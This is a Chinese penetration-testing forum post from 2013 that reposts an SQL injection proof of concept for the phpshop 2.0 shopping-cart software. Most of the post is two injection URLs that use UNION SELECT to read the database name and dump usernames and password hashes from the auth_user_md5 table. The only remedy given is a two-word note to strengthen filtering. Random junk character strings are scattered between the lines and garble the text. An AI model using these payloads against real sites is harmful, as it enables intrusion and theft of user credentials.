中国网络渗透测试联盟
标题:
phpshop 2.0 SQL注入及修复
[打印本页]
作者:
admin
时间:
2013-1-18 18:24
标题:
phpshop 2.0 SQL注入及修复
标题 : phpshop 2.0 SQL Injection Vulnerability
" M) {" l& ]% Y
" I7 }& R/ S% g) d1 A
作者 : By onestree
' p6 X. W) i: c& [6 d
下载地址 :
http://code.google.com/p/phpshop/downloads/list
/ I# o2 n# [% {2 [0 K1 K
测试地址: windows 7 / ubuntu
1 Q# S: i* F2 v* @5 K
4 ?2 p! }; K' F
& q0 g, a' a, r/ O$ }5 L* }
SQLi p0c:
: p1 }" _" i. b H+ H+ e+ O4 t/ z5 S
/ q# @ U& y g; L W4 q+ l
==================
* y" w( Z. z! N- | M- H
3 O* j, @4 k1 |3 z% M4 t
http://www.xxx.com
/phpshop 2.0/?page=admin/function_list&module_id=11'
9 @# Q3 y; T1 t: y1 [0 G& x
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
4 Q1 b6 U6 L+ x
8 Y% @# B. s. M! C$ y1 v4 d
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
& T6 I+ S' x+ T' H
9 y! Y3 d+ i Y, q
修复：
2 \/ X4 R2 n" G6 K, `5 ?- d
加强过滤
- S$ A8 r2 O, e; x/ I& ]
5 N" G5 T% V* c5 ^* F* A& i
5 P$ m% q+ ]6 x
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2